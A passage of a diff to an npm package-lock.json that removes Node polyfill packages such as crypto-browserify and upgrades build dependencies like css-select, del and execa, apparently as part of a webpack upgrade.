"sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, "connect-history-api-fallback": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz", "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==", "dev": true }, - "console-browserify": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.2.0.tgz", - "integrity": "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==", - "dev": true - }, "console-control-strings": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", "dev": true }, - "constants-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", - "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", - "dev": true - }, "content-disposition": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", @@ -4899,25 +4778,12 @@ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=", "dev": true }, - "copy-concurrently": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", - "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", - "dev": true, - "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - } - }, "copy-descriptor": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", - "dev": true + "dev": true, + "optional": true }, "copy-to-clipboard": { "version": "3.3.1", @@ -5102,51 +4968,6 @@ "yaml": "^1.7.2" } }, - "create-ecdh": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz", - "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "elliptic": "^6.5.3" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, - "create-hash": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", - "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", - "dev": true, - "requires": { - "cipher-base": "^1.0.1", - "inherits": "^2.0.1", - "md5.js": "^1.3.4", - "ripemd160": "^2.0.1", - "sha.js": "^2.4.0" - } - }, - "create-hmac": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", - "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", - "dev": true, - "requires": { - "cipher-base": "^1.0.3", - "create-hash": "^1.1.0", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - } - }, "create-react-class": { "version": "15.6.2", "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz", @@ -5167,25 +4988,6 @@ "which": "^1.2.9" } }, - "crypto-browserify": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz", - "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", - "dev": true, - "requires": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0", - "randomfill": "^1.0.3" - } - }, "css-loader": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", @@ -5251,21 +5053,61 @@ } }, "css-select": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.2.0.tgz", - "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.1.3.tgz", + "integrity": "sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==", "dev": true, "requires": { - "boolbase": "~1.0.0", - "css-what": "2.1", - "domutils": "1.5.1", - "nth-check": "~1.0.1" + "boolbase": "^1.0.0", + "css-what": "^5.0.0", + "domhandler": "^4.2.0", + "domutils": "^2.6.0", + "nth-check": "^2.0.0" + }, + "dependencies": { + "dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true + }, + "domhandler": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", + "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", + "dev": true, + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + } } }, "css-what": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.3.tgz", - "integrity": "sha512-a+EPoD+uZiNfh+5fxw2nO9QwFa6nJe2Or35fGY6Ipw1R3R4AGz1d1TEZrCegvw2YTmZ0jXirGYlzxxpYSHwpEg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.0.1.tgz", + "integrity": "sha512-FYDTSHb/7KXsWICVsxdmiExPjCfRC4qRFBdVwv7Ax9hMnvMmEjP9RfxTEZ3qPZGmADDn2vAKSo9UcN1jKVYscg==", "dev": true }, "cssesc": { @@ -5288,12 +5130,6 @@ "array-find-index": "^1.0.1" } }, - "cyclist": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz", - "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=", - "dev": true - }, "d3": { "version": "5.16.0", "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", @@ -5596,7 +5432,8 @@ "version": "0.2.0", "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true + "dev": true, + "optional": true }, "deep-equal": { "version": "1.1.1", @@ -5619,15 +5456,20 @@ "dev": true }, "default-gateway": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-4.2.0.tgz", - "integrity": "sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==", + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", "dev": true, "requires": { - "execa": "^1.0.0", - "ip-regex": "^2.1.0" + "execa": "^5.0.0" } }, + "define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true + }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", @@ -5642,6 +5484,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", "dev": true, + "optional": true, "requires": { "is-descriptor": "^1.0.2", "isobject": "^3.0.1" @@ -5652,6 +5495,7 @@ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -5661,6 +5505,7 @@ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -5670,6 +5515,7 @@ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, + "optional": true, "requires": { "is-accessor-descriptor": "^1.0.0", "is-data-descriptor": "^1.0.0", @@ -5679,54 +5525,34 @@ } }, "del": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz", - "integrity": "sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", + "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==", "dev": true, "requires": { - "@types/glob": "^7.1.1", - "globby": "^6.1.0", - "is-path-cwd": "^2.0.0", - "is-path-in-cwd": "^2.0.0", - "p-map": "^2.0.0", - "pify": "^4.0.1", - "rimraf": "^2.6.3" + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" }, "dependencies": { - "array-union": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", - "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "dev": true, "requires": { - "array-uniq": "^1.0.1" + "glob": "^7.1.3" } }, - "globby": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz", - "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", - "dev": true, - "requires": { - "array-union": "^1.0.1", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "dependencies": { - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true - } - } - }, - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true } } @@ -5749,32 +5575,16 @@ "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", "dev": true }, - "des.js": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz", - "integrity": "sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" - } - }, "destroy": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=", "dev": true }, - "detect-file": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", - "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=", - "dev": true - }, "detect-node": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz", - "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", "dev": true }, "diff-sequences": { @@ -5783,25 +5593,6 @@ "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==", "dev": true }, - "diffie-hellman": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", - "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "miller-rabin": "^4.0.0", - "randombytes": "^2.0.0" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, "dir-glob": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", @@ -5893,12 +5684,6 @@ "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz", "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" }, - "domain-browser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", - "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", - "dev": true - }, "domelementtype": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", @@ -5924,23 +5709,48 @@ "domelementtype": "1" } }, + "dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + }, + "dependencies": { + "lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, + "no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + } + } + }, "downloadjs": { "version": "1.4.7", "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" }, - "duplexify": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", - "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", - "dev": true, - "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - } - }, "ecc-jsbn": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", @@ -5962,29 +5772,6 @@ "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, - "elliptic": { - "version": "6.5.4", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", - "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", - "dev": true, - "requires": { - "bn.js": "^4.11.9", - "brorand": "^1.1.0", - "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.1", - "inherits": "^2.0.4", - "minimalistic-assert": "^1.0.1", - "minimalistic-crypto-utils": "^1.0.1" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, "emoji-regex": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", @@ -6010,15 +5797,6 @@ "iconv-lite": "~0.4.13" } }, - "end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", - "dev": true, - "requires": { - "once": "^1.4.0" - } - }, "enhanced-resolve": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", @@ -6048,6 +5826,12 @@ "integrity": "sha512-dmD3AvJQBUjKpcNkoqr+x+IF0SdRtPz9Vk0uTy4yWqga9ibB6s4v++QFWNohjiUGoMlF552ZvNyXDxz5iW0qmw==", "dev": true }, + "envinfo": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", + "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "dev": true + }, "errno": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", @@ -6065,24 +5849,11 @@ "is-arrayish": "^0.2.1" } }, - "es-abstract": { - "version": "1.17.5", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.17.5.tgz", - "integrity": "sha512-BR9auzDbySxOcfog0tLECW8l28eRGpDpU3Dm3Hp4q/N+VtLTmyj4EUN088XZWQDW/hzj6sYRDXeOFsaAODKvpg==", - "dev": true, - "requires": { - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.1", - "is-callable": "^1.1.5", - "is-regex": "^1.0.5", - "object-inspect": "^1.7.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.0", - "string.prototype.trimleft": "^2.1.1", - "string.prototype.trimright": "^2.1.1" - } + "es-module-lexer": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.7.1.tgz", + "integrity": "sha512-MgtWFl5No+4S3TmhDmCz2ObFGm6lEpTnzbQi+Dd+pw4mlTIZTmM2iAs5gRlmx5zS9luzobCSBSI90JM/1/JgOw==", + "dev": true }, "es-to-primitive": { "version": "1.2.1", @@ -6476,9 +6247,9 @@ "dev": true }, "eventemitter3": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.4.tgz", - "integrity": "sha512-rlaVLnVxtxvoyLsQQFBx53YmXHDxRIzzTLbdfxqi4yocpSjAxXwkU0cScM5JgSKMqEhrZpnvQ2D9gjylR0AimQ==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", "dev": true }, "events": { @@ -6487,51 +6258,77 @@ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", "dev": true }, - "eventsource": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-1.0.7.tgz", - "integrity": "sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ==", - "dev": true, - "requires": { - "original": "^1.0.0" - } - }, - "evp_bytestokey": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz", - "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", - "dev": true, - "requires": { - "md5.js": "^1.3.4", - "safe-buffer": "^5.1.1" - } - }, "execa": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", - "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", "dev": true, "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^4.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" }, "dependencies": { "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": 